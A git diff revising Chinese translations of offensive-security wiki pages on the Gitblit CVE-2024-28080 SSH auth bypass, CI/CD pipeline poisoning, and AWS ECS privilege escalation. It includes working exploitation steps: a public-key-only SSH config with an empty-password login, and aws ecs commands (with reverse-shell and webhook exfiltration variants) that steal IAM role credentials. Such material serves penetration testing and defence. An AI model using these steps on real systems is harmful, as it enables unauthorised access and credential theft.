diff --git a/src/pentesting-ci-cd/gitblit-security/README.md b/src/pentesting-ci-cd/gitblit-security/README.md index 4a4ec4396..a30aadc34 100644 --- a/src/pentesting-ci-cd/gitblit-security/README.md +++ b/src/pentesting-ci-cd/gitblit-security/README.md @@ -4,7 +4,7 @@ ## 什么是 Gitblit -Gitblit 是用 Java 编写的自托管 Git 服务器。它可以作为独立的 JAR 运行或部署在 servlet 容器中，并内置了一个用于 Git over SSH 的 SSH 服务（Apache MINA SSHD）。 +Gitblit 是一个用 Java 编写的自托管 Git 服务器。它可以作为独立的 JAR 运行或在 servlet 容器中部署，并提供一个嵌入式 SSH 服务 (Apache MINA SSHD) 用于 Git over SSH。 ## 主题 @@ -14,7 +14,7 @@ Gitblit 是用 Java 编写的自托管 Git 服务器。它可以作为独立的 gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md {{#endref}} -## 参考资料 +## 参考 - [Gitblit project](https://gitblit.com/) diff --git a/src/pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md b/src/pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md index 3e19b82ee..984dd6662 100644 --- a/src/pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md +++ b/src/pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md @@ -2,36 +2,36 @@ {{#include ../../banners/hacktricks-training.md}} -## 摘要 +## Summary -CVE-2024-28080 是 Gitblit 嵌入式 SSH 服务中的一个认证绕过漏洞，原因是在与 Apache MINA SSHD 集成时对会话状态处理不当。如果用户账户至少注册了一个 SSH 公钥，攻击者只要知道用户名和该用户的任意公钥，就可以在无需私钥和密码的情况下进行认证。 +CVE-2024-28080 是 Gitblit 嵌入式 SSH 服务中的一个认证绕过漏洞，原因是在与 Apache MINA SSHD 集成时会话状态处理不正确。如果一个用户账户至少注册了一个 SSH 公钥，攻击者只要知道该用户名和任意一个该用户的公钥，就可以在不拥有私钥且不输入密码的情况下完成认证。 -- 受影响：Gitblit < 1.10.0（在 1.9.3 上观察到） -- 已修复：1.10.0 -- 利用条件： -- 实例上启用了 Git over SSH -- 受害账户在 Gitblit 中至少注册了一个 SSH 公钥 -- 攻击者知道受害者的用户名和其中一个公钥（通常可发现，例如 https://github.com/.keys） +- Affected: Gitblit < 1.10.0 (observed on 1.9.3) +- Fixed: 1.10.0 +- Requirements to exploit: +- Git over SSH enabled on the instance +- 受害账号在 Gitblit 中至少注册了一个 SSH 公钥 +- 攻击者知道受害者用户名和他们的某个公钥（通常可发现，例如 https://github.com/.keys） -## 根本原因（SSH 方法之间的状态 leaks） +## Root cause (state leaks between SSH methods) -在 RFC 4252 中，public‑key authentication 分为两个阶段：服务器首先检查提供的公钥是否对该用户名可接受，只有在 challenge/response 与签名之后才真正认证用户。在 MINA SSHD 中，PublickeyAuthenticator 会被调用两次：在 key acceptance（尚无签名）时，以及在客户端返回签名之后。 +在 RFC 4252 中，public‑key authentication 分为两个阶段：服务器先检查提供的公钥是否对某个用户名可接受，只有在挑战/响应带有签名之后才真正认证该用户。在 MINA SSHD 中，PublickeyAuthenticator 会被调用两次：在 key acceptance（尚无签名）时以及在客户端返回签名之后。 -Gitblit 的 PublickeyAuthenticator 在第一次（前签名）调用时修改了会话上下文：将已识别的 UserModel 绑定到会话并返回 true（"key acceptable"）。当认证随后回退到密码时，PasswordAuthenticator 信任该已被修改的会话状态并直接短路，返回 true 而不验证密码。因此，在同一用户之前发生了公钥 "acceptance" 之后，任意密码（包括空密码）都会被接受。 +Gitblit 的 PublickeyAuthenticator 在第一次（签名前）的调用中会修改会话上下文，通过将已认证的 UserModel 绑定到会话并返回 true（“key acceptable”）。当认证之后回退到密码时，PasswordAuthenticator 信任该被修改的会话状态并短路，返回 true 而不验证密码。因此，在先前对同一用户发生过 public‑key “acceptance” 后，任何密码（包括空密码）都会被接受。 -高层次的错误流程： +High‑level flawed flow: -1) 客户端提供用户名 + 公钥（尚无签名） -2) 服务器识别该密钥属于该用户并过早将用户附加到会话，返回 true（"acceptable"） -3) 客户端无法签名（没有私钥），因此认证回退到密码 -4) 密码认证看到会话中已存在用户并无条件返回成功 +1) 客户端提供 username + public key（尚无签名） +2) 服务器识别该 key 属于该用户并过早地将用户附加到会话，返回 true（“acceptable”） +3) 客户端无法签名（无私钥），于是认证回退到密码 +4) Password auth 看到会话中已有用户并无条件返回成功 -## 逐步利用 +## Step‑by‑step exploitation -- 收集受害者的用户名和其中一个公钥： +- 收集受害者的用户名和他们的某个公钥： - GitHub 在 https://github.com/.keys 暴露公钥 -- 公开服务器通常会暴露 authorized_keys -- 配置 OpenSSH 仅提供公钥部分以使签名生成失败，从而强制回退到密码，同时仍触发服务器上的公钥接受路径。 +- 公共服务器通常会暴露 authorized_keys +- 配置 OpenSSH 仅呈现公钥部分以使签名生成失败，强制回退到密码，同时仍触发服务器上的 public‑key acceptance 路径。 Example SSH client config (no private key available): ```sshconfig @@ -44,7 +44,7 @@ PreferredAuthentications publickey,password IdentitiesOnly yes IdentityFile ~/.ssh/victim.pub # public half only (no private key present) ``` -连接并在密码提示符处按回车（或输入任意字符串）： +连接并在密码提示时按 Enter（或输入任意字符串）： ```bash ssh gitblit-target # or Git over SSH @@ -52,32 +52,32 @@ GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://@ [!NOTE] -> 即使某些 VCS 平台允许为本节创建 pipelines，我们这里将只分析对源码控制的潜在攻击。 +> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code. -包含项目源代码的平台承载敏感信息，人员需要非常注意在该平台中授予的权限。以下是攻击者可能滥用的一些常见问题： +存放项目源代码的平台包含敏感信息，因此需要非常小心在该平台上授予的权限。以下是攻击者可能滥用的一些常见问题： -- **Leaks**: 如果你的代码在提交中包含 leaks 且攻击者能访问 repo（因为它是 public 或因为他有访问权限），他可能会发现这些 leaks。 -- **Access**: 如果攻击者能**访问 VCS 平台内的一个账号**，他可能获得**更多的可见性和权限**。 -- **Register**: 一些平台允许外部用户直接创建账户。 -- **SSO**: 某些平台不允许用户注册，但允许任何拥有有效 SSO 的人登录（例如攻击者可以用他的 github 账户进入）。 -- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... 用户可能窃取多种令牌以某种方式访问 repo。 -- **Webhooks**: VCS 平台允许生成 webhooks。如果它们**没有用不可见的 secrets 进行保护**，**攻击者可能滥用它们**。 +- **Leaks**: 如果你的代码在 commits 中包含 leaks，并且攻击者能够访问 repo（因为它是 public 或者他已有访问权限），他就可能发现这些 leaks。 +- **Access**: 如果攻击者能**访问 VCS platform 中的账号**，他可能获得**更多的可见性和权限**。 +- **Register**: 有些平台会允许外部用户直接创建账号。 +- **SSO**: 有些平台不允许普通注册，但会允许任何拥有有效 SSO 的人访问（例如攻击者可以用他的 github 账号登录）。 +- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... 用户可能会被窃取各种类型的 tokens 来以某种方式访问 repo。 +- **Webhooks**: VCS platforms 允许生成 webhooks。如果它们没有用不可见的 secrets 进行保护，**attacker could abuse them**。 - If no secret is in place, the attacker could abuse the webhook of the third party platform - If the secret is in the URL, the same happens and the attacker also have the secret -- **Code compromise:** 如果恶意行为者对 repo 有某种**写入**权限，他可以尝试**注入恶意代码**。为成功，他可能需要**绕过分支保护**。这些操作可能有多种目的： - - 危害主分支以**危害 production**。 - - 危害主分支（或其他分支）以**危害开发者的机器**（因为他们通常会在自己的机器上执行测试、terraform 或 repo 内的其他内容）。 -- **Compromise the pipeline** (check next section) +- **Code compromise:** 如果恶意行为者对 repos 有某种**write** 权限，他可能尝试**inject malicious code**。为成功，他可能需要**bypass branch protections**。这些操作可以出于不同目的： + - 妥协 main branch 以**compromise production**。 + - 妥协 main（或其他 branches）以**compromise developers machines**（因为开发者通常会在他们的机器上执行 test、terraform 或其它 repo 内的东西）。 + - **Compromise the pipeline**（见下一节） ## Pipelines Pentesting Methodology -定义 pipeline 最常见的方式是使用**托管在仓库中的 CI 配置文件**来描述要执行的作业顺序、影响流程的条件以及构建环境设置。\ -这些文件通常有一致的名称和格式，例如 — Jenkinsfile (Jenkins)、.gitlab-ci.yml (GitLab)、.circleci/config.yml (CircleCI)，以及位于 .github/workflows 下的 GitHub Actions YAML 文件。触发时，pipeline job 会**从选定的源拉取代码**（例如 commit / branch），并**对该代码运行 CI 配置文件中指定的命令**。 +定义 pipeline 最常见的方式是使用**存放在仓库内的 CI configuration file**。该文件描述了执行作业的顺序、影响流程的条件以及构建环境设置。\ +这些文件通常有一致的名称和格式，例如 — Jenkinsfile (Jenkins)、.gitlab-ci.yml (GitLab)、.circleci/config.yml (CircleCI)，以及位于 .github/workflows 的 GitHub Actions YAML 文件。被触发时，pipeline job 会**pulls the code** 从所选的 source（例如 commit / branch），并对该代码**runs the commands specified in the CI configuration file**。 -因此，攻击者的最终目标是以某种方式**妥协这些配置文件**或**它们执行的命令**。 +因此攻击者的最终目标是以某种方式**compromise those configuration files** 或者**compromise the commands they execute**。 ### PPE - Poisoned Pipeline Execution -Poisoned Pipeline Execution (PPE) 路径利用 SCM 仓库中的权限来操纵 CI pipeline 并执行有害命令。具有必要权限的用户可以修改将被 pipeline job 执行的 CI 配置文件或 pipeline 使用的其他文件来包含恶意命令。这会“poison” CI pipeline，导致执行这些恶意命令。 +Poisoned Pipeline Execution (PPE) 路径利用 SCM 仓库中的权限来操纵 CI pipeline 并执行有害命令。拥有必要权限的用户可以修改 CI configuration files 或 pipeline job 所使用的其他文件以加入恶意命令。这会“poison” CI pipeline，导致这些恶意命令被执行。 -为了成功执行 PPE 攻击，恶意行为者需要能够： +要成功实施 PPE 攻击，恶意行为者需要能够： -- 拥有 **write access to the VCS platform**，因为通常 pipeline 在 push 或 pull request 时被触发。（有关获取访问的方式，请查看 VCS pentesting methodology 的总结）。 -- 注意有时一个 **external PR** 也算作“write access”。 -- 即使拥有写权限，他还需要确保能**修改 CI config 文件或配置所依赖的其他文件**。 -- 为此，他可能需要能够**绕过分支保护**。 +- 拥有 **write access to the VCS platform**，因为 pipeline 通常在 push 或 pull request 时被触发。（查看 VCS pentesting methodology 以获取获取访问权限方式的汇总）。 +- 注意有时一个**external PR 就算作 “write access”**。 +- 即使拥有 write 权限，他也要确保能**modify the CI config file 或其它 CI 配置依赖的文件**。 +- 为此，他可能需要能够**bypass branch protections**。 PPE 有 3 种变体： - **D-PPE**: **Direct PPE** 发生在攻击者直接**修改将被执行的 CI config** 文件时。 -- **I-DDE**: **Indirect PPE** 发生在攻击者**修改** CI config 依赖的**文件**（例如 make file 或 terraform 配置）时。 -- **Public PPE or 3PE**: 在某些情况下，pipelines 可以被**没有 repo 写入权限的用户触发**（他们甚至可能不属于 org），因为他们可以发送 PR。 -- **3PE Command Injection**: 通常，CI/CD pipelines 会通过**环境变量**设置关于 PR 的信息。如果该值可以被攻击者控制（例如 PR 的 title）并且被**用于危险的位置**（比如执行 **sh commands**），攻击者可能会在其中**注入命令**。 +- **I-DDE**: **Indirect PPE** 发生在攻击者**修改** CI config 所**依赖的文件**（例如 make file 或 terraform config）时。 +- **Public PPE or 3PE**: 在某些情况下，pipelines 可以被**没有写权限的用户触发**（这些用户可能甚至不是 org 的成员），因为他们可以发送 PR。 +- **3PE Command Injection**: 通常，CI/CD pipelines 会用**关于 PR 的信息**来**set environment variables**。如果这些值能被攻击者控制（例如 PR 的标题），并且被**used** 在**危险位置**（比如执行 **sh commands**），攻击者可能会**inject commands**。 ### Exploitation Benefits -了解了三种 poison pipeline 的变体后，我们来看看攻击者在成功利用后可以获得什么： +了解了三种 poison pipeline 的方式后，来看攻击者在成功利用后可能获得的收益： -- **Secrets**: 如前所述，pipelines 的 jobs 需要**权限**（检索代码、构建、部署等），这些权限通常以 **secrets** 的形式授予。这些 secrets 通常可以通过 **env variables 或系统内的文件**访问。因此攻击者会尽可能地尝试外泄尽可能多的 secrets。 -- 根据 pipeline 平台，攻击者**可能需要在配置中指定 secrets**。这意味着如果攻击者无法修改 CI configuration pipeline（例如 I-PPE），他**只能外泄该 pipeline 本身拥有的 secrets**。 -- **Computation**: 代码在某处被执行，取决于执行位置，攻击者可能能够进一步 pivot。 -- **On-Premises**: 如果 pipelines 在本地执行，攻击者可能进入**内部网络并访问更多资源**。 -- **Cloud**: 攻击者可能访问**云中其他机器**，也可能**外泄**IAM roles/service accounts **tokens**，从而在云内获得**更进一步的权限**。 -- **Platforms machine**: 有时 jobs 会在 **pipelines platform machines** 内执行，这些机器通常位于云中且**没有更多访问权限**。 -- **Select it:** 有时 **pipelines platform 会配置多台机器**，如果你能**修改 CI 配置文件**，你可以**指定要在哪台机器上运行恶意代码**。在这种情况下，攻击者可能会在每台可用机器上运行反向 shell 来尝试进一步利用。 -- **Compromise production**: 如果你在 pipeline 内并且最终版本是从中构建并部署的，你可以**危害将要在 production 中运行的代码**。 +- **Secrets**: 如前所述，pipelines 的 jobs 需要**privileges**（检出代码、构建、部署等），这些权限通常以**secrets** 的形式授予。这些 secrets 通常可以通过 **env variables** 或系统内部的文件访问。因此攻击者会尽可能地尝试 exfiltrate 尽可能多的 secrets。 +- 根据 pipeline 平台的不同，攻击者**可能需要在配置中指定 secrets**。这意味着如果攻击者无法修改 CI configuration pipeline（例如 I-PPE），他可能**只能 exfiltrate 该 pipeline 所拥有的 secrets**。 +- **Computation**: 代码在某处被执行，攻击者可能据此 pivot 到更多目标。 +- **On-Premises**: 如果 pipelines 在本地执行，攻击者可能会进入**内部网络并访问更多资源**。 +- **Cloud**: 攻击者可能访问云中的其他机器，也可能**exfiltrate** IAM roles/service accounts **tokens**，以获得云内的进一步访问权限。 +- **Platforms machine**: 有时作业会在 **pipelines platform machines** 内执行，这些机器通常位于云中且**没有更多访问**。 +- **Select it:** 有时 **pipelines platform 会配置多台机器**，如果你能**modify the CI configuration file**，你可以**指定想在哪里运行恶意代码**。在这种情况下，攻击者可能会在每台可选机器上运行 reverse shell，尝试进一步利用。 +- **Compromise production**: 如果你已经进入 pipeline，且最终版本由其构建并部署，你就可以**compromise the code that is going to end running in production**。 ## More relevant info ### Tools & CIS Benchmark -- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) 是一个开源工具，用于基于新的 [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) 审计你的软件供应链堆栈的安全合规性。该审计关注整个 SDLC 流程，可揭示从代码到部署阶段的风险。 +- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) 是一个开源工具，用于根据新的 [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) 对你的软件供应链堆栈进行安全合规性审计。审计聚焦于整个 SDLC 流程，可以揭示从 code time 到 deploy time 的风险。 ### Top 10 CI/CD Security Risk -查看这篇关于 Cider 所列 CI/CD 前 10 大风险的有趣文章: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) +查看 Cider 关于前十个 CI/CD 风险的有趣文章： [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) ### Labs -- 在每个可以本地运行的平台，你会找到如何在本地启动它的说明，这样你可以按需配置以进行测试 +- 在每个平台的本地运行版本中，你可以找到如何在本地启动以便按需配置和测试的说明 - Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) ### Automatic Tools -- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** 是一个用于 infrastructure-as-code 的静态代码分析工具。 +- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** 是一个面向 infrastructure-as-code 的静态代码分析工具。 ## References diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index 2eb35a6bb..9b9ba20dc 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -4,7 +4,7 @@ ## ECS -关于 **ECS** 的更多信息在： +更多 **有关 ECS 的信息** 在： {{#ref}} ../aws-services/aws-ecs-enum.md @@ -12,7 +12,7 @@ ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` -攻击者滥用 ECS 中的 `iam:PassRole`、`ecs:RegisterTaskDefinition` 和 `ecs:RunTask` 权限，可以**生成一个新的 task definition**，在其中放入一个**恶意容器**来窃取元数据凭证并**运行它**。 +滥用 ECS 中的 `iam:PassRole`、`ecs:RegisterTaskDefinition` 和 `ecs:RunTask` 权限的攻击者可以 **生成一个新的任务定义**，包含一个 **恶意容器** 来窃取元数据凭证并 **运行它**。 {{#tabs }} {{#tab name="Reverse Shell" }} @@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 {{#tab name="Webhook" }} -使用像 webhook.site 这样的网站创建一个 webhook +使用像 webhook.site 这样的站点创建一个 webhook ```bash # Create file container-definition.json @@ -75,19 +75,19 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 {{#endtabs }} -**Potential Impact:** 直接提权到不同的 ECS 角色。 +**Potential Impact:** 直接对不同的 ECS 角色进行 privesc。 ### `iam:PassRole`,`ecs:RunTask` -具有 `iam:PassRole` 和 `ecs:RunTask` 权限的 attacker 可以启动一个新的 ECS task，并修改 **execution role**、**task role** 和容器的 **command** 值。`ecs run-task` CLI 命令包含 `--overrides` 标志，允许在运行时更改 `executionRoleArn`、`taskRoleArn` 和容器的 `command`，而无需修改 task definition。 +具有 `iam:PassRole` 和 `ecs:RunTask` 权限的攻击者可以启动一个新的 ECS 任务，并修改 **执行角色**、**任务角色** 和容器的 **命令** 值。`ecs run-task` CLI 命令包含 `--overrides` 标志，可在运行时更改 `executionRoleArn`、`taskRoleArn` 和容器的 `command`，而无需修改任务定义。 -为 `taskRoleArn` 和 `executionRoleArn` 指定的 IAM 角色必须在其信任策略中信任/允许被 `ecs-tasks.amazonaws.com` 扮演。 +为 `taskRoleArn` 和 `executionRoleArn` 指定的 IAM 角色的信任策略必须信任/允许 `ecs-tasks.amazonaws.com` 来假设该角色。 -Also, the attacker needs to know: -- ECS cluster name -- VPC Subnet -- Security group (If no security group is specified the default one will be used) -- Task Definition Name and revision -- Name of the Container +此外，攻击者需要知道： +- ECS 集群名称 +- VPC 子网 +- 安全组（如果未指定安全组，将使用默认安全组） +- Task Definition 名称和修订版本 +- 容器名称 ```bash aws ecs run-task \ --cluster \ @@ -107,7 +107,7 @@ aws ecs run-task \ ``` 在上面的代码片段中，攻击者只覆盖了 `taskRoleArn` 的值。然而，攻击者必须对命令中指定的 `taskRoleArn` 和任务定义中指定的 `executionRoleArn` 拥有 `iam:PassRole` 权限，攻击才能发生。 -如果攻击者可以传递的 IAM 角色具有足够的权限来拉取 ECR 镜像并启动 ECS 任务（`ecr:BatchCheckLayerAvailability`、`ecr:GetDownloadUrlForLayer`、`ecr:BatchGetImage`、`ecr:GetAuthorizationToken`），那么攻击者可以在 `ecs run-task` 命令中将相同的 IAM 角色同时指定为 `executionRoleArn` 和 `taskRoleArn`。 +如果攻击者可以传递的 IAM 角色具有足够的权限来从 ECR 拉取镜像并启动 ECS 任务（`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`），那么攻击者可以在 `ecs run-task` 命令中为 `executionRoleArn` 和 `taskRoleArn` 指定相同的 IAM 角色。 ```sh aws ecs run-task --cluster --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" --task-definition --overrides ' { @@ -121,12 +121,12 @@ aws ecs run-task --cluster --launch-type FARGATE --network-config ] }' ``` -**Potential Impact:** 直接导致任何 ECS task role 的 privesc。 +**Potential Impact:** 对任意 ECS 任务角色 (task role) 的直接权限提升。 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` -就像前面的示例一样，滥用 ECS 中的 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** 权限的攻击者可以 **生成一个新的任务定义**，并在其中放入一个**恶意容器**来窃取元数据凭证并**运行它**。\ -但是，在这种情况下，需要有可用的容器实例来运行该恶意任务定义。 +正如前面的示例中，攻击者滥用 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** 权限在 ECS 中可以 **生成一个新的 task definition**，包含一个 **恶意容器** 来窃取元数据凭证并 **运行它**。\ +然而，在这种情况下，需要有可用的 container instance 来运行该恶意 task definition。 ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -142,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \ ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` -**Potential Impact:** 直接对任何 ECS role 进行 privesc。 +**潜在影响：** 直接 privesc 到任何 ECS 角色。 -### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` +### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` -就像在前面的示例一样，攻击者滥用 ECS 中的 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** 或 **`ecs:CreateService`** 权限，能够**生成新的任务定义**，包含**恶意容器**以窃取元数据凭证，并通过创建至少包含 1 个正在运行任务的新服务来**运行它**。 +就像在之前的例子中一样，攻击者滥用 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** 或 **`ecs:CreateService`** 权限在 ECS 中可以 **生成一个新的任务定义**，其中包含一个 **恶意容器**，用于窃取元数据凭证，并通过 **创建一个至少运行 1 个任务的新服务来运行它。** ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -169,11 +169,11 @@ aws ecs update-service --cluster \ --service \ --task-definition ``` -**Potential Impact:** 直接 privesc 到 任何 ECS role。 +**可能影响：** 直接 privesc 到任何 ECS 角色。 ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` -实际上，仅凭这些权限就可以使用 overrides 在容器中以任意 role 执行任意命令，例如： +实际上，仅凭这些权限就可以使用 overrides 在容器中以任意角色执行任意命令，例如： ```bash aws ecs run-task \ --task-definition "" \ @@ -181,16 +181,16 @@ aws ecs run-task \ --cluster \ --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" ``` -**潜在影响：** 直接对任何 ECS 角色 进行 privesc。 +**Potential Impact:** 直接对任意 ECS role 进行 privesc。 ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -这种情况与之前的类似，但**没有** **`iam:PassRole`** 权限。\ -这仍然很有价值，因为如果你能运行任意容器，即使它没有角色，你也可以**运行特权容器以逃逸到节点**并**窃取 EC2 IAM role**以及运行在该节点上的**其他 ECS 容器的角色**。\ -你甚至可以**强制其他任务在你入侵的 EC2 实例内运行**以窃取它们的凭据（如 [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node) 所述）。 +这种情况与之前类似，但**没有** **`iam:PassRole`** 权限。\ +这仍然很重要，因为如果你能运行任意 container，即使没有 role，你也可以**run a privileged container to escape** 到 node，并**steal the EC2 IAM role** 以及运行在该 node 上的**other ECS containers roles**。\ +你甚至可以**force other tasks to run inside the EC2 instance** 在你攻破的实例中强制其他任务运行以窃取它们的凭证（如 [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node) 中讨论）。 > [!WARNING] -> 此攻击仅在 **ECS 集群 使用 EC2** 实例而不是 Fargate 时才可能发生。 +> 此攻击仅在 **ECS cluster 使用 EC2** 实例而非 Fargate 时才可能。 ```bash printf '[ { @@ -233,12 +233,12 @@ aws ecs run-task --task-definition iam_exfiltration \ ``` ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -拥有 **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** 权限的攻击者可以在运行中的容器内**执行命令**并窃取附加于其的 IAM 角色（需要 describe 权限，因为运行 `aws ecs execute-command` 时需要该权限）。\ -不过，为了实现这一点，容器实例需要运行 **ExecuteCommand 代理**（默认情况下不运行）。 +拥有 **`ecs:ExecuteCommand`、`ecs:DescribeTasks`** 的攻击者可以在运行中的容器内**执行命令**并外泄该容器附着的 IAM role（需要 describe 权限，因为运行 `aws ecs execute-command` 需要它）。\ +但是，为了做到这点，容器实例必须运行 **ExecuteCommand agent**（默认情况下没有运行）。 因此，攻击者可以尝试： -- **尝试运行命令** 在每个运行中的容器中 +- **尝试在每个运行中的容器中运行命令** ```bash # List enableExecuteCommand on each task for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do @@ -256,18 +256,18 @@ aws ecs execute-command --interactive \ --cluster "$CLUSTER_ARN" \ --task "$TASK_ARN" ``` -- If he has **`ecs:RunTask`**, run a task with `aws ecs run-task --enable-execute-command [...]` -- If he has **`ecs:StartTask`**, run a task with `aws ecs start-task --enable-execute-command [...]` -- If he has **`ecs:CreateService`**, create a service with `aws ecs create-service --enable-execute-command [...]` -- If he has **`ecs:UpdateService`**, update a service with `aws ecs update-service --enable-execute-command [...]` +- 如果他具有 **`ecs:RunTask`**，可使用 `aws ecs run-task --enable-execute-command [...]` 运行任务 +- 如果他具有 **`ecs:StartTask`**，可使用 `aws ecs start-task --enable-execute-command [...]` 运行任务 +- 如果他具有 **`ecs:CreateService`**，可使用 `aws ecs create-service --enable-execute-command [...]` 创建服务 +- 如果他具有 **`ecs:UpdateService`**，可使用 `aws ecs update-service --enable-execute-command [...]` 更新服务 -你可以在 **previous ECS privesc sections** 中找到 **这些选项的示例**。 +你可以在 **之前的 ECS privesc sections** 中找到这些选项的示例。 -**Potential Impact:** Privesc 到附加在容器上的不同角色。 +**潜在影响：** Privesc 到附加在容器上的不同角色。 ### `ssm:StartSession` -请查看 **ssm privesc page**，了解如何滥用此权限以 **privesc to ECS**： +在 **ssm privesc page** 中查看如何滥用此权限以 **privesc to ECS**： {{#ref}} aws-ssm-privesc.md @@ -275,7 +275,7 @@ aws-ssm-privesc.md ### `iam:PassRole`, `ec2:RunInstances` -请查看 **ec2 privesc page**，了解如何滥用这些权限以 **privesc to ECS**： +在 **ec2 privesc page** 中查看如何滥用这些权限以 **privesc to ECS**： {{#ref}} aws-ec2-privesc.md @@ -283,16 +283,16 @@ aws-ec2-privesc.md ### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole` -拥有这些权限的攻击者可能在 ECS 集群中注册一个 EC2 实例并在其上运行任务。这可能允许攻击者在 ECS 任务的上下文中执行任意代码。 +拥有这些权限的攻击者可能会在 ECS 集群中注册一个 EC2 实例并在其上运行任务。这可能允许攻击者在 ECS 任务的上下文中执行任意代码。 -- TODO: 是否可以从不同的 AWS 账户注册实例，以便任务在攻击者控制的机器上运行？？ +- TODO: 是否有可能从不同的 AWS 账户注册实例，从而使任务在攻击者控制的机器上运行？？ ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` > [!NOTE] -> TODO: 测试此项 +> TODO: Test this -拥有权限 `ecs:CreateTaskSet`、`ecs:UpdateServicePrimaryTaskSet` 和 `ecs:DescribeTaskSets` 的攻击者可以 **创建恶意的 task set 用于现有的 ECS service 并更新 primary task set**。这允许攻击者在该 service 中 **执行任意代码**。 +拥有 `ecs:CreateTaskSet`、`ecs:UpdateServicePrimaryTaskSet` 和 `ecs:DescribeTaskSets` 权限的攻击者可以为现有的 ECS 服务创建恶意的 task set 并更新 primary task set。这允许攻击者在该服务中执行任意代码。 ```bash # Register a task definition with a reverse shell echo '{ @@ -318,9 +318,9 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service -- # Update the primary task set for the service aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id ``` -**潜在影响**：在受影响的服务中执行任意代码，可能影响其功能或 exfiltrating sensitive data。 +**潜在影响**: 在受影响的服务中执行任意代码，可能影响其功能或外泄敏感数据。 -## 参考资料 +## 参考 - [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)